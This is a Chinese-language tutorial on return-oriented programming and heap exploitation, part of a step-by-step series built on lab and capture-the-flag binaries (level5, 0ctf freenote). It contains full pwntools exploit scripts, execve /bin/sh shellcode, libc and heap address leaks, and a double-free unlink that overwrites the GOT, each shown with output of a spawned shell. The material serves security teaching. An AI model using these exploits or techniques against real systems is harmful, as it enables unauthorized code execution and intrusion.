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0x00序ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术，可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）上次我们主要讨论了linux_x64的ROP攻击。
一步一步学ROP之linux_x86篇http://www.tiejiang.org/9322.html一步一步学ROP之linux_x64篇http://www.tiejiang.org/9316.html
在这次的教程中我们会带来通用gadgets和堆漏洞利用的技巧，欢迎大家继续学习另外文中涉及代码可在我的github下载:https://github.com/zhengmin1989/ROP_STEP_BY_STEP。
0x01 通用 gadgets part2上次讲到了__libc_csu_init()的一条万能gadgets，其实不光__libc_csu_init()里的代码可以利用，默认gcc还会有如下自动编译进去的函数可以用来查找gadgets。
_init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini
除此之外在程序执行的过程中，CPU只会关注于PC指针的地址，并不会关注是否执行了编程者想要达到的效果因此，通过控制PC跳转到某些经过稍微偏移过的地址会得到意想不到的效果比如说说我们反编译一下__libc_csu_init()这个函数的尾部：。
gdb-peda$ disas __libc_csu_init Dump of assembler code for function __libc_csu_init: …… 0x0000000000400606 : movrbx,QWORD PTR [rsp+0x8] 0x000000000040060b : movrbp,QWORD PTR [rsp+0x10] 0x0000000000400610 : mov r12,QWORD PTR [rsp+0x18] 0x0000000000400615 : mov r13,QWORD PTR [rsp+0x20] 0x000000000040061a : mov r14,QWORD PTR [rsp+0x28] 0x000000000040061f : mov r15,QWORD PTR [rsp+0x30] 0x0000000000400624 : add rsp,0x38 0x0000000000400628 : ret
可以发现我们可以通过rsp控制r12-r15的值，但我们知道x64下常用的参数寄存器是rdi和rsi，控制r12-r15并没有什么太大的用处不要慌，虽然原程序本身用是为了控制r14和r15寄存器的值如下面的反编译所示：。
gdb-peda$ x/5i 0x000000000040061a 0x40061a : mov r14,QWORD PTR [rsp+0x28] 0x40061f : mov r15,QWORD PTR [rsp+0x30] 0x400624 : add rsp,0x38 0x400628 : ret
但是我们如果简单的对pc做个位移再反编译，我们就会发现esi和edi的值可以被我们控制了！如下面的反编译所示:gdb-peda$ x/5i 0x000000000040061b 0x40061b : movesi,DWORD PTR [rsp+0x28] 0x40061f : mov r15,QWORD PTR [rsp+0x30] 0x400624 : add rsp,0x38 0x400628 : ret 0x400629: nop DWORD PTR [rax+0x0] gdb-peda$ x/5i 0x0000000000400620 0x400620 : movedi,DWORD PTR [rsp+0x30] 0x400624 : add rsp,0x38 0x400628 : ret 0x400629: nop DWORD PTR [rax+0x0] 0x400630 : repz ret
虽然edi和esi只能控制低32位的数值，但已经可以满足我们的很多的rop需求了除了程序默认编译进去的函数，如果我们能得到libc.so或者其他库在内存中的地址，就可以获得到大量的可用的gadgets比如上一篇文章中提到的通用gadget只能控制三个参数寄存器的值并且某些值只能控制32位，如果我们想要控制多个参数寄存器的值的话只能去寻找其他的gadgets了。
这里就介绍一个_dl_runtime_resolve()中的gadget，通过这个gadget可以控制六个64位参数寄存器的值，当我们使用参数比较多的函数的时候（比如mmap和mprotect）就可以派上用场了。
我们把_dl_runtime_resolve反编译可以得到：0x7ffff7def200 : sub rsp,0x38 0x7ffff7def204 : mov QWORD PTR [rsp],rax 0x7ffff7def208 : mov QWORD PTR [rsp+0x8],rcx 0x7ffff7def20d : mov QWORD PTR [rsp+0x10],rdx 0x7ffff7def212 : mov QWORD PTR [rsp+0x18],rsi 0x7ffff7def217 : mov QWORD PTR [rsp+0x20],rdi 0x7ffff7def21c : mov QWORD PTR [rsp+0x28],r8 0x7ffff7def221 : mov QWORD PTR [rsp+0x30],r9 0x7ffff7def226 : movrsi,QWORD PTR [rsp+0x40] 0x7ffff7def22b : movrdi,QWORD PTR [rsp+0x38] 0x7ffff7def230 : call 0x7ffff7de8680 0x7ffff7def235 : mov r11,rax 0x7ffff7def238 : mov r9,QWORD PTR [rsp+0x30] 0x7ffff7def23d : mov r8,QWORD PTR [rsp+0x28] 0x7ffff7def242 : movrdi,QWORD PTR [rsp+0x20] 0x7ffff7def247 : movrsi,QWORD PTR [rsp+0x18] 0x7ffff7def24c : movrdx,QWORD PTR [rsp+0x10] 0x7ffff7def251 : movrcx,QWORD PTR [rsp+0x8] 0x7ffff7def256 : movrax,QWORD PTR [rsp] 0x7ffff7def25a : add rsp,0x48 0x7ffff7def25e : jmp r11
从0x7ffff7def235开始，就是这个通用gadget的地址了通过这个gadget我们可以控制rdi，rsi，rdx，rcx， r8，r9的值但要注意的是_dl_runtime_resolve()在内存中的地址是随机的。
所以我们需要先用information leak得到_dl_runtime_resolve()在内存中的地址那么_dl_runtime_resolve()的地址被保存在了哪个固定的地址呢？通过反编译level5程序我们可以看到write@plt()这个函数使用PLT [0] 去查找write函数在内存中的地址，函数jump过去的地址*0x600ff8其实就是_dl_runtime_resolve()在内存中的地址了。
所以只要获取到0x600ff8这个地址保存的数据，就能够找到_dl_runtime_resolve()在内存中的地址：0000000000400420 : 400420: ff 35 ca 0b 20 00 pushq 0x200bca(%rip) # 600ff0 400426: ff 25 cc 0b 20 00 jmpq *0x200bcc(%rip) # 600ff8 40042c: 0f 1f 40 00 nopl 0x0(%rax) gdb-peda$ x/x 0x600ff8 0x600ff8 : 0x00007ffff7def200 gdb-peda$ x/21i 0x00007ffff7def200 0x7ffff7def200 : sub rsp,0x38 0x7ffff7def204 : mov QWORD PTR [rsp],rax 0x7ffff7def208 : mov QWORD PTR [rsp+0x8],rcx 0x7ffff7def20d : mov QWORD PTR [rsp+0x10],rdx ….
另一个要注意的是，想要利用这个gadget，我们还需要控制rax的值，因为gadget是通过rax跳转的：0x7ffff7def235 : mov r11,rax …… 0x7ffff7def25e : jmp r11
所以我们接下来用ROPgadget查找一下libc.so中控制rax的gadget：ROPgadget –binary libc.so.6 –only “pop|ret” | grep “rax” 0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret 0x0000000000023950 : pop rax ; ret 0x000000000019176e : pop rax ; ret 0xffed 0x0000000000123504 : pop rax ; ret 0xfff0
0x0000000000023950刚好符合我们的要求有了pop rax和_dl_runtime_resolve这两个gadgets，我们就可以很轻松的调用想要的调用的函数了0x02 利用mmap执行任意shellcode。
看了这么多rop后是不是感觉我们利用rop只是用来执行system有点太不过瘾了？另外网上和msf里有那么多的shellcode难道在默认开启DEP的今天已经没有用处了吗？并不是的，我们可以通过mmap或者mprotect将某块内存改成RWX(可读可写可执行)，然后将shellcode保存到这块内存，然后控制pc跳转过去就可以执行任意的shellcode了，比如说建立一个socket连接等。
下面我们就结合上一节中提到的通用gadgets来让程序执行一段shellcode我们测试的目标程序还是level5在exp中，我们首先用上一篇中提到的_dl_runtime_resolve中的通用gadgets泄露出got_write和_dl_runtime_resolve的地址。
#!python #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = “\x00″*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload1 += “\x00″*56 payload1 += p64(main) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=linker_point, rdx=4) payload2 = “\x00″*136 payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload2 += “\x00″*56 payload2 += p64(main)
随后就可以根据偏移量和泄露的地址计算出其他gadgets的地址#!python shellcode = ( “\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e” + “\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89” + “\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05” ) shellcode_addr = 0xbeef0000 #mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0) payload3 = “\x00″*136 payload3 += p64(pop_rax_ret) + p64(mmap_addr) payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) #read(rdi=0, rsi=shellcode_addr, rdx=1024) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) payload3 += p64(shellcode_addr) 。
然后我们利用_dl_runtime_resolve里的通用gadgets调用mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0),开辟一段RWX的内存在0xbeef0000处。
随后我们使用read(rdi=0, rsi=shellcode_addr, rdx=1024),把我们想要执行的shellcode读入到0xbeef0000这段内存中最后再将指针跳转到shellcode处就可执行我们想要执行的任意代码了。
完整的exp8.py代码如下:#!python #!/usr/bin/env python frompwn import * elf = ELF(level5) libc = ELF(libc.so.6) p = process(./level5) #p = remote(127.0.0.1,10001) got_write = elf.got[write] print “got_write: ” + hex(got_write) got_read = elf.got[read] print “got_read: ” + hex(got_read) plt_read = elf.symbols[read] print “plt_read: ” + hex(plt_read) linker_point = 0x600ff8 print “linker_point: ” + hex(linker_point) got_pop_rax_ret = 0x0000000000023970 print “got_pop_rax_ret: ” + hex(got_pop_rax_ret) main = 0x400564 off_system_addr = libc.symbols[write] – libc.symbols[system] print “off_system_addr: ” + hex(off_system_addr) off_mmap_addr = libc.symbols[write] – libc.symbols[mmap] print “off_mmap_addr: ” + hex(off_mmap_addr) off_pop_rax_ret = libc.symbols[write] – got_pop_rax_ret print “off_pop_rax_ret: ” + hex(off_pop_rax_ret) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = “\x00″*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload1 += “\x00″*56 payload1 += p64(main) p.recvuntil(“Hello, World\n”) print “\n#############sending payload1#############\n” p.send(payload1) sleep(1) write_addr = u64(p.recv(8)) print “write_addr: ” + hex(write_addr) mmap_addr = write_addr – off_mmap_addr print “mmap_addr: ” + hex(mmap_addr) pop_rax_ret = write_addr – off_pop_rax_ret print “pop_rax_ret: ” + hex(pop_rax_ret) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=linker_point, rdx=4) payload2 = “\x00″*136 payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload2 += “\x00″*56 payload2 += p64(main) p.recvuntil(“Hello, World\n”) print “\n#############sending payload2#############\n” p.send(payload2) sleep(1) linker_addr = u64(p.recv(8)) print “linker_addr + 0x35: ” + hex(linker_addr + 0x35) p.recvuntil(“Hello, World\n”) shellcode = ( “\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e” + “\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89” + “\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05” ) # GADGET # 0x7ffff7def235 : mov r11,rax # 0x7ffff7def238 : mov r9,QWORD PTR [rsp+0x30] # 0x7ffff7def23d : mov r8,QWORD PTR [rsp+0x28] # 0x7ffff7def242 : movrdi,QWORD PTR [rsp+0x20] # 0x7ffff7def247 : movrsi,QWORD PTR [rsp+0x18] # 0x7ffff7def24c : movrdx,QWORD PTR [rsp+0x10] # 0x7ffff7def251 : movrcx,QWORD PTR [rsp+0x8] # 0x7ffff7def256 : movrax,QWORD PTR [rsp] # 0x7ffff7def25a : add rsp,0x48 # 0x7ffff7def25e : jmp r11 shellcode_addr = 0xbeef0000 #mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0) payload3 = “\x00″*136 payload3 += p64(pop_rax_ret) + p64(mmap_addr) payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) #read(rdi=0, rsi=shellcode_addr, rdx=1024) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) payload3 += p64(shellcode_addr) print “\n#############sending payload3#############\n” p.send(payload3) sleep(1) #raw_input() p.send(shellcode+”\n”) sleep(1) p.interactive()
成功pwn后的效果如下：$ python exp8.py [+] Started program ./level5 got_write: 0x601000 got_read: 0x601008 plt_read: 0x400440 linker_point: 0x600ff8 got_pop_rax_ret: 0x23950 off_mmap_addr: -0x9770 off_pop_rax_ret: 0xc2670 #############sending payload1############# write_addr: 0x7f9d39d95fc0 mmap_addr: 0x7f9d39d9f730 pop_rax_ret: 0x7f9d39cd3950 #############sending payload2############# linker_addr + 0x35: 0x7f9d3a083235 #############sending payload3############# [*] Switching to interactive mode $ whoami mzheng
0x03 堆漏洞利用之double free讲了那么多stack overflow的例子，我们现在换换口味，先从double free开始讲一下堆漏洞的利用Double free的意思是一个已经被free的内存块又被free了第二次。
正常情况下，如果double free，系统会检测出该内存块已经被free过了，不能被free第二次，程序会报错然后退出但是如果我们精心构造一个假的内存块就可骗过系统的检测，然后得到内存地址任意写的权限。
随后就可以修改got表将接下来会执行的函数替换成system()再将参数改为我们想要执行的指令，比如”/bin/sh”最后就可以执行system(“/bin/sh”)了想要学习double free，首先要了解什么是free chunk和allocated chunk。
这个在网上有大量的资料，请感兴趣的同学自学
然后要了解Fast bin，Unsorted bin，Small bin和Large bin的概念这个可以看这篇文章学习：https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/。
除此之外还有个gdb工具可以帮助我们查看内存中堆的信息，这对我们调试程序会有很大的帮助:https://github.com/cloudburst/libheap等到对堆的基本概念了解的差多了就可以学习如何利用unlink来做到内存写了。
在最早版本的unlink中对内存chunk是没有任何检测的，因此我们可以很容易的做到内存任意写但现在版本的libc中会对free的那个chunk进行检测，这个chunk的前一个chunk的bk指针和这个chunk的后一个chunk的fd指针必须指向这个即将free的chunk才行。
为了bypass这个检测，我们必须在内存中找到一个地址X指向P，然后将P的fd和bk指向X最后再触发double free的unlink，就可以将P地址的值设置为X了
我们这次使用0ctf中的freenote这道题来实践一下double free漏洞的利用执行这个程序我能看到这其实就是一个note记事本程序通过new note和delete note可以malloc()和free()内存。
$ ./freenote_x64 == 0ops Free Note == 1. List Note 2. New Note 3. Edit Note 4. Delete Note 5. Exit ====================
但是这个程序有两个漏洞，一个是建立新note的时候在note的结尾处没有加”\0″因此会造成堆或者栈的地址泄露，另一个问题就是在delete note的时候，并不会检测这个note是不是已经被删除过了，因此可以删除一个note两遍，造成double free。
首先我们要泄露libc和heap在内存中的地址因为note的结尾没有”\0″，因此在输出时会把后面的内容打印出来因为freelist的头部保存在了libc的.bss段，因此我们可以见通过删除两个note再删除一个note，然后再建立一个新note的方法来泄露出libc在内存中的地址：。
#!python notelen=0x80 new_note(“A”*notelen) new_note(“B”*notelen) delete_note(0) new_note(“\xb8”) list_note() p.recvuntil(“0. “) leak = p.recvuntil(“\n”) print leak[0:-1].encode(hex) leaklibcaddr = u64(leak[0:-1].ljust(8, \x00)) print hex(leaklibcaddr) delete_note(1) delete_note(0) system_sh_addr = leaklibcaddr – 0x3724a8 print “system_sh_addr: ” + hex(system_sh_addr) binsh_addr = leaklibcaddr – 0x23e7f1 print “binsh_addr: ” + hex(binsh_addr)
同样的如果让某个非使用中 chunk 的fd栏位指向另一个 chunk，并且让note的内容刚好接上，就可以把 chunk在堆上的位置给洩漏出来这样我们就能得到堆的基址#!python notelen=0x10 new_note(“A”*notelen) new_note(“B”*notelen) new_note(“C”*notelen) new_note(“D”*notelen) delete_note(2) delete_note(0) new_note(“AAAAAAAA”) list_note() p.recvuntil(“0. AAAAAAAA”) leak = p.recvuntil(“\n”) print leak[0:-1].encode(hex) leakheapaddr = u64(leak[0:-1].ljust(8, \x00)) print hex(leakheapaddr) delete_note(0) delete_note(1) delete_note(3) notelen = 0x80 new_note(“A”*notelen) new_note(“B”*notelen) new_note(“C”*notelen) delete_note(2) delete_note(1) delete_note(0) 。
通过泄露的libc地址我们可以计算出system()函数和”/bin/sh”字符串在内存中的地址，通过泄露的堆的地址我们能得到note table的地址然后我们构造一个假的note，利用使用double free的漏洞触发unlink，将note0的位置指向note table的地址。
随后我们就可以通过编辑note0来编辑note table了通过编辑note table我们把note0指向free()函数在got表中的地址，把note1指向”/bin/sh”在内存中的地址然后我们编辑note0把free()函数在got表中的地址改为system()的地址。
最后我们执行delete note1操作因为我们把note1的地址指向了”/bin/sh”，所以正常情况下程序会执行free(“/bin/sh”)，但别忘了我们修改了got表中free的地址，所以程序会执行system(“/bin/sh”)，最终达到了我们的目的：。
#!python fd = leakheapaddr – 0x1808 #notetable bk = fd + 0x8 payload = “” payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + “A” * (notelen – 0x20) payload += p64(notelen) + p64(notelen+0x10) + “A” * notelen payload += p64(0) + p64(notelen+0x11)+ “\x00” * (notelen-0x20) new_note(payload) delete_note(1) free_got = 0x602018 payload2 = p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + “A”*16 + p64(binsh_addr) payload2 += “A”* (notelen*3-len(payload2)) edit_note(0, payload2) edit_note(0, p64(system_sh_addr)) delete_note(1) p.interactive()
执行exp的结果如下：$ python exp9.py [+] Started program ./freenote_x64 b8a75eb2b57f 0x7fb5b25ea7b8 system_sh_addr: 0x7fb5b2278310 binsh_addr: 0x7fb5b23abfc7 20684b02 0x24b6820 [*] Switching to interactive mode $ whoami mzheng
0x04 总结除了64位的freenote，blue-lotus还弄了一个32位版的freenote给大家练习这些binary和exp都可以在我的github上下载到：https://github.com/zhengmin1989/ROP_STEP_BY_STEP。
另外，下篇我会带来arm上rop的利用，敬请期待0x05 参考资料http://v0ids3curity.blogspot.com/2013/07/some-gadget-sequence-for-x8664-rop.html。
掘金ctf
